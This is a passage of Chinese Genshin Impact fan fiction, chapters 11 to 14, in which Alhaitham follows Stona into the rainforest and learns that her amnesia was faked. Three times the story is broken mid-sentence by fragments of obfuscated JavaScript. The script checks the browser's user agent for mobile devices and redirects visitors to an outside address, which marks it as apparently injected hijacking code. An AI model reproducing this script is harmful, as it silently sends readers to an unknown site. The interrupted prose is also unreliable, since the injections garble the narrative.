“我错了,叠词不好笑,对不起,但我刚才真的不是在嘲笑你。”斯托娜说。 “不,我没有生气,我只是在举例而已。”艾尔海森看起来的确没有生气,这倒也符合他的性格,毕竟他从小就这样。 “好吧。”斯托娜咬了一口千层酥酥。 “味道怎么样?”艾尔海森问。 “啊?”斯托娜一愣,随即反应过来他问的是千层酥酥味道怎么样,“很好吃,谢谢你。” “不客气。” “对了,中午我说要你请客的事是开玩笑的,有千层酥……酥就够了,你不用请我吃饭。” “所以你还在生我的气。”艾尔海森说。 “嗯?我没有啊,你是怎么得出这个结论的?” “如果没有生气的话,请务必让我履行承诺。” “没有这么严重吧……” 但艾尔海森的态度实在是过于认真,以至于斯托娜为了不把讨论上升到过于荒谬的高度,只能答应了让他请自己吃饭的事。 11. 第 11 章 晚餐时分,艾尔海森装作无意中提起今天在教令院借阅的散文集,询问斯托娜对这本文集的看法。 斯托娜思考片刻后说,自己没有什么独到的看法,这本散文集的内容大多是对须弥风景的描写,不过对照着须弥地图寻找文章里提到的地点,对于记忆地图有不小的帮助。 “对了,其中一篇文章里提到了《阿赫玛尔的故事》这本书,我有点好奇,如果这本书在教令院内也有收录的话,可以借来让我看一下吗?”斯托娜的眼睛里闪烁着对知识……至少也是对故事的渴求。 “没问题,我明天就把书带来。” 艾尔海森对食物没有苛刻的要求,如果在吃饭时间看书,或者说在看书期间吃饭的话,他的注意力大半都在书上,对于吃的是什么不怎么在意。 这次吃饭时他虽然没有看书,但仍然食不知味。 这些年来艾尔海森读了不少书,迫于无奈也与不少人打过交道,所以辨别对方到底是真的对知识本身感兴趣还是为了卖弄或其他目的对于艾尔海森而言并非难事。 斯托娜看起来不像是为了向他证明她已经失忆,才认真阅读换作以前的斯托娜一定连翻开都不肯的散文集。 十几年的时间对一个人的变化可大可小,以为人是永远不会改变的人未免对人类的本性太不了解。 当然,有些人随着时间的流逝的确不会有较大的变化,比如艾尔海森就认为时间并没有对他造成太大的改变,因为他在成年之前——准确来说是在斯托娜尚未离开须弥之前——就已经建立了与这个世界相处的准则,不会因为外界的改变而改变自己。 但斯托娜的改变让他感到惊讶。如果再仔细分析一下自己的情绪的话,他会找到隐藏在惊讶之下的一丝恐慌。 变得喜欢吃甜食,变得喜欢书籍,这还只是艾尔海森在短短几天的时间内就观察到的变化,而且这些变化是他无法通过与斯托娜之间互相寄送的那几封信就能知晓的。 十几年的光阴对人的改变,果然不是仅仅靠几封信就能推测得出来。 自己在十几年间并无明显变化,但斯托娜的种种改变他却没有任何参与,这势必会造成错位。 而要想把错位的影响降到最低,就需要他努力追赶,把这些年来他错过的事情都了解清楚。 “明天如果有空的话,要不要在城里转转?”艾尔海森说完又补充道:“一起。” “可以倒是可以,只是你明天不需要去教令院吗?明天应该是工作日吧?” 不想去。 教令院太乱。即使教令院不乱,他也不是那种会整天待在办公室里的人。 “明天我休假。”他不动声色撒了个谎。 “不会太麻烦你吧?” “如果可以免掉像这样的寒暄的话,我会更轻松。” “哦,抱歉。” 艾尔海森微微皱眉——他不喜欢斯托娜向他道歉。 第二天下午,艾尔海森把《阿赫玛尔的故事》带给斯托娜,两人从医院出发,前往大巴扎。 到须弥城来旅游的游客总是很多,即使不是休息日,须弥城内也是人来人往,香料的味道和叫卖声混合在一起,在炎热的天气下营造出热闹的气氛。 斯托娜喜欢绿色,喜欢可爱的东西,喜欢甜品,对须弥舞蹈感兴趣,但看到教堂模型和风车模型的时候却微微皱眉,疑似在蒙德有关于教堂的不美好回忆。另外,她不喜欢酒精类饮品,对音乐也不感兴趣…… 一路上,艾尔海森默默归纳着观察到的信息。 蒙德处于风神的庇护之下,是诗歌与美酒的国度,也有修建教堂的传统,而且因为蒙德多风,所以风车也是在蒙德很常见的建筑物,但斯托娜对这些好像都不喜欢。 为了验证自己的猜测,艾尔海森在经过一家花店的时候装作不经意的样子随口提起了蒙德的蒲公英。 “蒙德是风的国度,蒲公英的种子靠风力传播,想必在蒙德到处都是蒲公英吧。” “虽然我不记得了,不过应该是吧。但我不喜欢刮大风的天气,站在风里总感觉不踏实。” 斯托娜的厌恶几乎不加掩饰,看来她的确不喜欢蒙德。 不喜欢蒙德,却在蒙德居住了十几年……这些年她一直在默默忍耐吧。 这次离家出走大概也是积攒多年的不满最终爆发的结果。 与蒙德相比,斯托娜显然是喜欢须弥的,但因为缺少对照,所以艾尔海森无从确定斯托娜对除了须弥和蒙德以外的国家的态度。 不过鉴于之前她想趁他回家取信件和照片的时候逃跑,可见斯托娜对于留在须弥并没有太执着的打算,这次到须弥来,她更多应该是为了逃避家里人,而不是因为喜欢须弥才回来的。 至于斯托娜为什么没有再次试图离开,大概是担心被他发现,或是已经改变主意,想先把伤养好之后再考虑接下来去哪里的问题。 艾尔海森的视线落在斯托娜背后,斯托娜正被路边的舞者拉着跳舞。 她的伤就快要好了,恐怕已经开始打算接下来该怎么办了。 艾尔海森的猜测没有错,两天之后,吃晚饭的时候,斯托娜忽然说她明天休假,想自己在须弥城转转。 尽管对方的话已经明示了“自己”两个字,艾尔海森还是说道:“我明天也有时间,不如一起吧。” “不用了,这几天这么麻烦你,我都不好意思了。” 斯托娜说话的时候没有看他,是心虚的表现。 “好吧。你明天中午会回医院吗?刚才提到的那本诗集,我可以明天带去给你。”艾尔海森说。 “中午……我可能不会太早回去,如果你去医院找我的时候我不在,把书放在桌上就好,谢谢。” 艾尔海森点点头。 她要悄悄离开吗?但离开之前还拜托他从智慧宫借书…… 也许这只是为了让他放松警惕,以为她不打算离开。 就算她还不打算离开,明天她也一定有事想要避开他独自完成。 因此,第二天一早,艾尔海森离开家来到医院,他没等多久就看到斯托娜独自一人从医院出来,在离开医院大门的时候,她把手里的什么东西放进了口袋里。艾尔海森没有看不清那东西是什么,只是看到了一个模糊的轮廓。 斯托娜脚步匆匆,神情有些紧张,她离开医院的时候还往周围看了看,似乎在确保没人跟踪她。 她首先去了工作的玩具摊位。因为时间尚早,斯托娜在摊位上等了几分钟后,摊主才现身。 她们两个交谈了几句,因为距离太远,艾尔海森听不到斯托娜和摊主说了些什么。 之后,斯托娜与摊主道别,离开了须弥城。 艾尔海森跟着她一路出了须弥城,往道成林走去。 进入道成林后,斯托娜会时不时停下来,从口袋里拿出什么东西看一眼再放回去,然后继续往前走。 当她第二次停下的时候,艾尔海森意识到她是在看地图,大概就是之前他们从智慧宫借走的那份须弥地图。 道成林东侧与璃月接壤,斯托娜也许是想走这条路线前往璃月。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118082|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她果然要不辞而别。 上次斯托娜行动不便,所以想乘船离开,现在她的伤已经好了大半,所以打算走路去璃月。 她竟然真的想悄悄离开。 艾尔海森压下不快的情绪,继续跟随斯托娜往雨林深处走去。 斯托娜沿路采了树莓和蘑菇。艾尔海森想到自己推荐给对方的《舌尖上的毒蕈——有毒蕈类识别简易入门》和《雨林危险植物大全》,心中五味杂陈。 临近中午,斯托娜在山洞外停了下来。 艾尔海森认出这就是之前他找到的那个山洞,斯托娜曾经在这个山洞里短暂停留,还把毒蘑菇埋在了山洞外。 艾尔海森躲在树后,看着斯托娜进入山洞,没过多久,她又从山洞里出来,把采摘的蘑菇和树莓放进溪水里清洗。 看来对方是打算稍作休息,等下午再继续赶路。 照这个速度,天黑之前斯托娜就能到达道成林边缘。 入夜之后那附近会有劫匪出没,斯托娜的神之眼无法使用,她自己一个人会很危险。 正这么想着,不远处的斯托娜忽然发出一声尖叫,她摔倒了。 溪边湿滑,本就容易摔倒,斯托娜的伤还没好,可能是起身的时候失去平衡导致摔倒。 水边的泥土大多柔软,即使摔倒也不会伤得太重,但尽管如此,艾尔海森还是选择过去帮忙。 “你没事吧?” “没事,只是不小心摔倒了,谢谢——是你啊。”斯托娜抬起头看到他的脸,她的表情立刻变得十分僵硬。 艾尔海森把她从地上扶起来,本想心平气和地说话,但开口时还是忍不住带了几分讽刺:“介意告诉我你这是在做什么吗?” 斯托娜看着他,艾尔海森仿佛能听到对方思考时脑袋里齿轮转动的声音。 “我、我在洗树莓。” “你知道我问的不是树莓,”艾尔海森低头看了一眼水边,“也不是蘑菇。” 斯托娜似乎忽然想起了什么,她回头看向山洞,随即露出失望的神情:“不见了。” “什么不见了?” 斯托娜看着他,没有回答,而是问:“说起来,你怎么在这里?为了工作的事吗?” “不是,”艾尔海森如实相告,“我是跟在你身后来的。如果你打算不辞而别,身为朋友,我总要问清楚你不辞而别的原因。” 斯托娜快速眨眨眼睛:“你以为我要离开?” “你带走了须弥地图,从这里继续往东走就是须弥与璃月的交界线,你昨天还刻意告诉我你今天想独自在须弥城内游览,现在却出现在道成林,难道除了‘不辞而别’以外,还有其他解释吗?” 艾尔海森最后的反问句只是为了表达自己被她隐瞒的不快,众所周知,反问句虽然是问句的一种,但并不是真的需要回答。 斯托娜却忽然笑了:“有的,有其他解释,只不过你得相信我才行。” 艾尔海森皱眉:“根据以往的经验来判断,我真的很难相信你。” “不相信我的话,可能会后悔哦。” 对方看起来完全不像是谎言被揭穿后心虚的样子,这让艾尔海森感到奇怪。 “如果相信我的话,就闭上眼睛。”斯托娜说。 艾尔海森并不相信她。 ——至少不是百分百相信她。 但对方的话让他忽然有些无措。 不相信的话,会后悔。 他不想后悔,尤其是涉及到斯托娜的事。 所以艾尔海森闭上了眼睛。 12. 第 12 章 艾尔海森看起来并不相信她,但不知道出于什么原因,他最终还是闭上了眼睛。 “现在,伸出手。”斯托娜说。 艾尔海森伸出手。 斯托娜拿出兰那罗木雕,放在艾尔海森手上:“可以睁开眼睛了。” 她看着艾尔海森睁开眼睛,对方有些困惑地看着手中的东西:“这不是之前那一个。” “之前那个是我的,这个是我送你的。”斯托娜说。 艾尔海森第一次看到改良后变小许多的兰那罗木雕的时候,斯托娜就断定他一定是喜欢的,只不过可能他看她也喜欢,所以才没有收下。 摊主送她的那个木雕因为是试验品,所以制作比较粗糙,斯托娜之后又拜托摊主重新制作了一个精致的木雕,打算把这个新的送给艾尔海森。 无奈摊位的生意太过火爆,很多客人都提前预约了木雕。摊主是个很认真的人,自然不会因为斯托娜是她自己的员工就让她插队,所以斯托娜预约的木雕直到昨天深夜才做好。 斯托娜担心今晚从道成林回去之后时间太晚,摊主可能已经收摊回家,所以才在出发之前先去找摊主拿到了要送给艾尔海森的木雕。 “谢谢。但是这个木雕和我刚才的问题之间有什么联系吗?”艾尔海森问。 “其实我这次到道成林来,是为了寻找兰那罗。”斯托娜说。 艾尔海森没有说话,而是等她继续说下去。 接下来该怎么说就需要谨慎了。她不能说自己已经完全恢复了记忆,又不可能说自己完全没有恢复记忆。 “我昨天……不对,已经是前天了,我前天晚上做了一个梦,梦到我在道成林迷路,是兰那罗忽然出现救了我。醒来后我觉得这不仅仅是个梦,兰那罗是真的救了我,否则我一个人是怎么从道成林独自到须弥城的呢?” 艾尔海森说:“你的意思是,你今天到道成林来是为了向兰那罗道谢?” 斯托娜点头:“没错。刚才我在洗树莓的时候忽然看到了兰那罗的身影,所以才走了神,不小心摔倒了。” 洗树莓的时候,斯托娜的确发现视线边缘有东西在往洞口移动,她转头看过去的时候发现站在洞口的正是兰那罗。 只不过她在起身的时候,因为有些着急,脚下一滑,就摔了。 等她被艾尔海森扶起来再往洞口看去的时候,兰那罗已经不见了,可能是受到惊吓跑掉了吧。 “我说的是真的,我刚才真的看到了兰那罗,”斯托娜说,“你相信我说的话吗?” 艾尔海森俯身捡起溪水中的树莓和蘑菇,说:“如果你打算穿过道成林去璃月的话,出发之前提前带好食物才是更符合逻辑的做法,而不是沿途采摘树莓充饥。所以,先前是我推测有误,你并不打算离开须弥,至少现在还不打算离开。 “至于兰那罗……抱歉,因为你的话并不是完全可信,所以无法作为证据,恐怕我不能相信你真的见到了兰那罗。” “如果我来这里不是为了寻找兰那罗,那我为什么要独自一个人到雨林里来呢?”斯托娜反问。 艾尔海森看着她,沉默了几秒钟,他说:“我不知道。” “这不就可以证明,我真的是来找兰那罗的吗?否则我为什么要避开你呢?我没有理由避开你啊。”斯托娜看着对方。 艾尔海森轻轻叹了口气。 在斯托娜的印象中,艾尔海森不经常笑,也不经常皱眉。 他的情绪一直很稳定,不笑的时候并不代表他不开心,皱眉的时候也不代表他在生气。 但叹气……一般来说,叹气是因为失望吧? 他对她失望了吗? 阳光把树木斑驳的影子投在他们身上,艾尔海森在浓密的树荫下开口说道:“你根本没有失忆,对吗?” 在斯托娜的印象中,艾尔海森也很少说问句。 从这个角度来看,艾尔海森今天还真是和她记忆里的艾尔海森很不一样啊。 当然,虽然对方是询问的语气,但斯托娜知道,他一定已经掌握了足够的证据来戳穿她的谎言,并不是真的不确定她到底有没有失忆。 “你……已经知道了啊。从什么时候开始怀疑的?”她问。 “一开始。轻微脑震荡的确可能造成短时间的记忆缺失,但几分钟内就足以恢复正常。数天之后仍然什么都想不起来,这并不是轻微脑震荡的症状。在医生开具的诊断书和你的陈述之间,我相信前者。” “所以你从一开始就不相信我失忆?” “不,一开始只是怀疑而已,我后来根据你的言行和其他客观证据,才最终确定你并没有失忆。如果你想听的话,我可以解释给你听。”艾尔海森说。 斯托娜并不想听,但她想知道艾尔海森已经推测出了多少她的情况,所以她点点头。 “你在得知自己失忆之后并不慌张,并且拒绝了我写信寄给你的家人的提议,对于很可能与你一同遭遇劫匪的未婚夫,你也只字未提,”艾尔海森说道,“如果你真的失忆,一定不会如此镇定,所以唯一的可能是你并没有失忆,并且知道他们都平安无事。” “也许我真的只是没想那么多呢?你仅凭这一点就断定我没有失忆?” “不。我来过道成林两次,在道成林发现了挂在树枝上的布料碎片,经过比对,可以确定碎片的来源是你的长裙。另外,我也发现那个山洞的地面上有神之眼留下的压痕,山洞外则有被泥土掩埋的毒蘑菇,应该是你埋在那里的吧。” 斯托娜睁大了眼睛:“原来你早就……你暗中调查我?” “不是调查你,而是调查你的遭遇,”艾尔海森纠正道,“道成林是公共场所,在这里调查不需要任何申请,所以在今天以前,我并没有侵犯你的隐私。至于今天的跟踪,我向你道歉,但我没有恶意。” 斯托娜完全不知道艾尔海森来道成林调查的事,而且对方还来过两次。 所以他说去教令院工作是骗她的。 但是她先骗了他,她好像也没资格因为对方的欺骗而生气。 斯托娜叹了口气:“你说得没错,我的确没有失忆。” 他们把送给兰那罗的树莓和蘑菇放在山洞洞口,然后离开山洞,在一棵大树下停下了脚步。 “你已经知道我是从道成林一路走去须弥城的,所以今天你发现我来到道成林之后才以为我要离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118083|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开须弥吧?”斯托娜说。 “但我并没有把兰那罗纳入考量,所以得出了错误的结论。” “这次的确是你猜错了,不过我之前的确想逃走,如果不是那把不争气的雨伞,我可能已经乘船离开了。” 艾尔海森没有立刻开口,他似乎在犹豫要不要出言询问。 “你是想问我为什么要逃跑吧?”斯托娜主动说道。 艾尔海森点头。 “但是,我想你应该已经得出答案了?”斯托娜看着他说,“你只是想从我口中确认你的结论是否正确,对吧?” 艾尔海森没有迟疑,再次点了头。 “果然什么也瞒不住你啊,”斯托娜笑了笑,“不过我现在不想聊这个话题,因为我自己还没有想明白。不过我可以向你保证,我目前不打算离开须弥。如果以后我要离开的话,一定会事先告诉你。” 艾尔海森说好。 “假装失忆不是为了戏弄你,只是我脑袋里很乱,不知道该怎么面对你,所以选择了逃避。”斯托娜深吸一口气:“对不起。” “你并没能骗过我,而且我对你也有所隐瞒,所以我们两个算是扯平了。”艾尔海森说。 斯托娜重新扬起嘴角:“可以,我们扯平了。那么就重新认识一下吧。好久不见啊,艾尔海森。” “的确很久了。” 艾尔海森没有笑,不过他的语气比刚才要柔和了……大概百分之一吧。 斯托娜清了清嗓子,准备面对另一个沉重的话题:“我们这些年来互通的信件,关于这个,你一定也有问题想问我吧?” 但艾尔海森立刻说道:“不,正如你不想谈论离开家的原因,这些年我们互相寄送的信件也不是我想谈论的话题。” 他果然还在生气吧,明明是她先许诺要经常写信给他,但也是她先违背了诺言。 “抱歉,信的事情,还有其他事情,我都很抱歉。”斯托娜说。 “你不需要道歉,”艾尔海森的脸上没有任何不满的神情,“人与人之间的交往本来就是双向的,就算其中一方选择单方面断绝关系,另一方也只能接受而已。我并没有生气,更不会怨恨你,我不会对已经发生那么久的事情耿耿于怀。” “啊……那就好。” 但总感觉他还是挺介意的。 对方以为是她不想和他保持联系,这也难怪,因为她的行为看起来就像是她不想继续维系和他的友情了。 那就让艾尔海森继续这么认为下去好了,总比把她那些讨厌的事情都告诉他要好得多。 退一万步说,就算他得知了真相又能怎么样呢?旧事重提也只是徒增伤感而已。 他们回到山洞,发现树莓和蘑菇全部不见了,原本放有树莓和蘑菇的地方多了几朵蓝色的花。 “好漂亮的花。” “是劫波莲,”艾尔海森解释说,“一般生长在悬崖峭壁上,采摘难度较大。如果兰那罗真的存在,这大概是兰那罗送你的回礼。” 回礼吗……明明自己是来道谢的,但礼貌的兰那罗还送了自己礼物,真是可爱的小生灵。 下次来看兰那罗的时候,该送它什么好呢? 13. 第 13 章 “神之眼的事我还在调查,不过教令院现有的文献资料里都没有提及过类似的情况。我已经托人去调查了,有消息的话我会第一时间通知你。” 这天下午,艾尔海森把从智慧宫带来的诗集交给斯托娜,两个人又聊起斯托娜的神之眼无法使用的事。 斯托娜只透露说自己的神之眼是在她离开家之前变得异常的,神之眼并不是因为遭受到外力才变成黑色,而是在某个清晨自己变成这个样子的。 至于在神之眼变得异常之前斯托娜做了什么事,斯托娜没有明确说,只是含混地解释她当时心里很乱,心情很不好,艾尔海森没能问出更多信息。 距离上次艾尔海森在道成林把斯托娜假装失忆的事情点破已经过去了一周的时间,斯托娜的左腿还没有完全恢复,不过石膏很快就可以拆掉了。 拆掉石膏之后,她的行动会更加自如,但还需要一定时间才能彻底康复。 如果斯托娜打算在伤好之后就离开须弥的话,那么她离开的时间已经越来越近了。 艾尔海森不希望她离开,但他并没有把这个想法说出口,因为他知道就算说了也没用,斯托娜还是会离开。 既然斯托娜到须弥来是纯属巧合,并非为了找他,那么斯托娜同样也不会为了他而留在须弥。 “麻烦你的朋友了。当然,最麻烦的还是你,谢谢你为我做的一切。”斯托娜说着把诗集放在桌边,艾尔海森注意到桌上有一封信。 “你的信已经写好了?”艾尔海森问。 “嗯,今天中午写好的,收信人那里我没有填写地址。” 斯托娜把写给父母的信交给艾尔海森,之后艾尔海森会先把这封信寄给在璃月的一个旧相识。 这个旧相识曾经到教令院来求学,和艾尔海森有一点交情,艾尔海森拜托这个人把斯托娜寄给父母的信从璃月寄到蒙德,这样一来,斯托娜的父母就不知道斯托娜在须弥了。 斯托娜打了个呵欠,语气也变得慵懒了一些:“我果然还是喜欢须弥的天气。这里不会下雪,而且总是生机勃勃,就是下午容易犯困。” 须弥是从来不下雪的,即使有时候天气比较恶劣,也没有恶劣到飘雪花的程度。蒙德位于北方,四季分明,到了冬天应该会经常下雪。 艾尔海森想问斯托娜是不是不喜欢蒙德,不过这个问题可能会让她想起从蒙德逃婚的事。斯托娜明确说过她不想谈这个问题。 既然她不愿意提起,艾尔海森就没有问。 “今天下午有什么安排吗?”他问。 斯托娜揉了揉眼睛,说有,她想去聚砂厅一趟,看能不能接取几个简单的委托。 “正巧我也有事要去那里,一起吧。” 艾尔海森说了个无伤大雅的谎言,他并没有去聚砂厅的打算。 但斯托娜摇头拒绝了:“不用了,我走得慢,你先去吧,不用跟我一起。另外,我只能接最简单的委托,这类委托的报酬都不高,我可不想多你一个人和我平分报酬。” 斯托娜当然是在开玩笑,他知道她在开玩笑,她也知道他知道她是在开玩笑。 “好吧。不过你的伤还没好,建议你最好不要接太多委托。”艾尔海森说。 “知道啦。” 艾尔海森先离开医院。他在医院外等了一会儿,直到看到斯托娜往聚砂厅的方向走去之后,才拐到另一条路上,打算处理一下附近需要查收的公务文件。 “哟,这不是……应该没认错吧?” 身后忽然响起一个激动到几乎破音的声音,明显是冲着他来的。 艾尔海森还没来得及戴上耳机隔音,但他依旧决定不理会身后的声音,加快脚步离开了。 艾尔海森对这种忽然在他背后响起的声音很熟悉,一般都是从前那些叫他书呆子的人在街上认出了他,就要拉着他回忆一下小时候管他叫书呆子的并不怎么美好的往事。 他没有时间应付这种无聊的人。 同龄的孩子还在梦里被张牙舞爪的怪物追着跑的时候,艾尔海森就已经表现出了绝佳的学习能力。 他一路跳级,成了班上年纪最小的学生,也成了众人眼中的书呆子。 须弥是智慧的国度,但“书呆子”这种侮辱性的称呼依旧在孩子们之间流传。 孩子对团体中不合群的个体总是很敏感的,他们嘲笑、欺负不合群的孩子,就像在玩一个永远不会过时的游戏。 童年时期,“书呆子”这个带有明显恶意的外号,曾经是艾尔海森身上最醒目的、大概也是唯一的一个标签。 “书呆子”这个外号实在跟随他太久,以至于其他人都忘记了他的本名,多年后在教令院或是大街上与他偶遇的时候,因为想不起他叫什么,又无法像小时候那样毫无心理负担地称呼他为“书呆子”,所以认出他的人总是尴尬地皱着眉,努力回想他的名字,但总是想不起来。 童年时的艾尔海森和现在没有太大的区别,他整日埋头于书本,对别人都爱搭不理。 孩子们都认为他为人孤傲,言辞尖锐,看不起其他人,所以所有孩子都联合起来看不起他,变本加厉地嘲笑他。 对此,艾尔海森不置一词,好像完全不在乎。 时间久了,也看不出到底是其他人孤立他,还是他凭一己之力孤立了其他人。 长大之后,大家都变得成熟,知道即使讨厌某个人,也不能明显表现出来,以免给自己树敌,因此艾尔海森被孤立的状况才得到了改善。 斯托娜和父母离开须弥之后,艾尔海森没了关系特别好的朋友,跟和他多多少少有点儿交情的人聊天时,他也很擅长几句话就把天聊死,所以没有人愿意找他谈心、向他倾诉烦心事。 这正合他意,也正是他预期的结果。 有一份清闲的工作,有自己的房产,有富足的积蓄,还有充分的时间看书,艾尔海森几乎已经别无所求。 几乎。 但想到不知道对今后的生活作何打算的斯托娜,他又想叹气了。 他从来没心思去干涉别人的生活,但是…… 还是专心查收文件吧。 清醒的时候摒除杂念对艾尔海森而言没有太大难度,毕竟他已经有多年的相关经验,不断的练习与自觉让他可以轻易把注意力集中到当前的事上。 但睡着之后就完全是另外一回事了,理智在梦境里没有用武之地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118084|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十岁那年起,艾尔海森就不再做梦了。 他本来就比同龄人成熟,喜欢秩序与稳定,喜欢把自己生活的方方面面都安排得井井有条,对于“梦”这种不受理智控制的潜意识的产物,过于混乱,没有逻辑,他从来不感兴趣。 但自从收到斯托娜要结婚的信件之后,艾尔海森的梦便一发不可收拾,像不可治愈的疾病一样纠缠着他,他的每一个梦都与斯托娜有关。 小时候的斯托娜,长大后的斯托娜,戴着由须弥蔷薇做成的花环玩跳房子游戏的斯托娜,穿着婚纱即将与别人走进婚姻殿堂的斯托娜。 真实的记忆与虚假的想象混合在一起,就像一道层次混乱、口味复杂的料理,让艾尔海森感到既痛苦又迷惑。 善于分析一切的书记官开始惧怕自己的梦境,他不敢分析,也不愿意去分析这些梦到底反应了自己怎样的心绪。 恐惧总是会起到相反的作用,越是排斥梦境,梦境就越是来势汹汹,好像要把他这些年睡梦中的空白都弥补回来,每一个梦都是那样的浓墨重彩。 当天晚上,深夜,艾尔海森合上书本,但仍然想再喝一杯咖啡。 过于混乱的梦境让他连睡眠本身都开始抗拒,最近家里咖啡豆的消耗速度远超以往,但睡眠是不管再苦的咖啡都无法打败的宿敌。 入睡之前想的事物可能会延伸到梦境中,正所谓日有所思夜有所梦,这有一定的科学依据,所以艾尔海森在入睡之前会刻意避免去想与斯托娜有关的事。 今晚入睡前他也是这么打算的,但很不幸,他偶然瞥到了自己的神之眼,进而联想到了斯托娜的神之眼。 斯托娜的神之眼仍然无法使用,她在须弥城中尚且安全,但离开须弥城之后呢? 他想她应该是会离开的,因为他不知道她对于这次逃婚到底有多坚定。 如果斯托娜只是暂时没有想清楚才从家里跑出来的呢?如果她逃婚并不是不想嫁给未婚夫,而只是对婚姻生活感到恐惧呢? 也许当她冷静下来之后,她就会回家去了。 斯托娜说她不想谈这个话题,他就一直没有提起过,所以他不知道斯托娜到底是怎么想的。 推理需要线索,斯托娜没有给出任何线索,他根本无法推测。 当艾尔海森在入睡前猛然意识到自己又在想斯托娜的事的时候已经太晚了,他已经想了足够多了。 希望今晚不要再做梦了。 “希望”并不是他喜欢的词汇,更不是他平时会向其寻求帮助的东西。 人只有在遇到靠自己无法完成的事的时候才会心存希望,艾尔海森向来能够掌握自己的生活,所以他从不希望。 但现在他真的“希望”自己可以不做梦了。 事实证明,“希望”不可依靠,因为艾尔海森今晚的梦里仍然有斯托娜。 梦里的斯托娜坐在他对面,正往柠檬水里加蜂蜜。 “会不会太甜了?”艾尔海森说。 “不会啊,”斯托娜舔了舔勺子上的蜂蜜,皱起脸,“好苦啊,你要不要尝尝?” 她忽然凑过来吻他。 然后艾尔海森就醒了,蜂蜜黏稠的口感仿佛还停留在唇边。 14. 第 14 章 “这次的枣椰蜜糖好甜啊,比上一次的还要甜,像在蜂蜜里泡了一整天,”斯托娜把装有枣椰蜜糖的纸袋往艾尔海森的方向推了推,“你要不要尝尝?” 艾尔海森对于向来甜食没什么偏好,但他今天的反应有点奇怪,不知道为什么,他在听了斯托娜的话之后皱了皱眉,然后婉拒了。 斯托娜觉得奇怪。 他不喜欢枣椰蜜糖吗?可是上次明明没有拒绝。 可能他只是不喜欢吃太甜的东西吧。 看来下次最好还是买些不那么甜的东西,艾尔海森才肯吃。 “今天上午我去聚砂厅接到了两个委托,”斯托娜说,“其中一个是教令院的学生拜托聚砂厅发布的委托,另一个好像也是教令院的学生。” 艾尔海森像往常一样认真听她说,但他看着她时的视线有所下移,斯托娜发现了这一点。 “我嘴上沾了什么东西吗?”她舔了舔嘴唇。 “没有,是我走神了,抱歉。”艾尔海森重新看向她的眼睛。 斯托娜皱眉:“你的脸色看起来不太好,是昨晚没睡好吗?” 艾尔海森应该不是那种会因为工作而愁到睡不着的人啊,他是不是遇到什么麻烦了? “谢谢关心,我很好。聚砂厅的委托具体是做什么的?”艾尔海森问。 第一个委托很简单,那个教令院的学生忙着写论文,没时间遛狗,所以去聚砂厅挂了委托,希望找人帮他遛狗,每天带出去逛一个小时。 第二个委托相对来说难度大一些,也是教令院的学生发布的。发布这个委托的原因也与论文有关,不过论文的具体细节委托上没有写,只说研究课题是研究名为暮云角鲀这种鱼的皮质中的酸味素。 暮云角鲀钓取难度较大,做实验需要用到的酸味素供不应求,所以这个学生才挂了委托,高价悬赏暮云角鲀。只有钓到了暮云角鲀才能获得报酬,其他的鱼不行。 第二个委托其实回报率比较低,如果钓不到暮云角鲀的话,钓鱼付出的精力就全部打水漂了,但斯托娜还是接取了这个委托。 艾尔海森没等她解释就已经推测出她为什么会接钓鱼的委托:“据我所知,暮云角鲀只在晚间出没,你是想反正晚上也接不到其他委托,就接了这个委托打算碰碰运气。” 斯托娜点头:“没错。” 虽然跟艾尔海森这种聪明人沟通起来很容易,容易到她甚至不需要解释,对方就已经明白她为什么要这样做了。 但对方这种所有事都能立刻根据线索推出答案的能力也让斯托娜不得不在开口说话之前先把自己要说的话考虑一遍,不然总担心自己说出什么不该说的。 “暮云角鲀每天傍晚六点到早上六点出没,这个时间很难接到其他委托,所以我想试一下。” “但是,你每天要去摊位打工,帮人遛狗,晚上还要去钓鱼,会不会把时间安排得太紧张了?”艾尔海森说。 “这也没办法嘛,我想尽可能多赚点钱。” “如果你担心的是出院后房租的问题的话——” “不,不是的!我的意思是,我担心的不只有房租。因为暂时还不想回家,所以我想多攒一点钱,总比需要用钱的时候却拿不出来要好。智慧宫里有《三天学会钓鱼》之类的书吗?”斯托娜问。 目前的情况是,她还不会钓鱼。 她需要先学会钓鱼,才有机会钓到暮云角鲀。 “我教你。”艾尔海森说。 “不不不,那太麻烦你了,我自己一个人可以的。” “没关系,我正巧想找点别的事分散一下注意力。” “这样啊……那就谢谢你啦。” 斯托娜记得之前艾尔海森曾经提到过,教令院内部因为推举谁来当大贤者的事吵得不可开交,甚至很多时候会由争吵发展为大打出手。 最近教令院上上下下都乱糟糟的,艾尔海森应该是在烦恼这个吧? 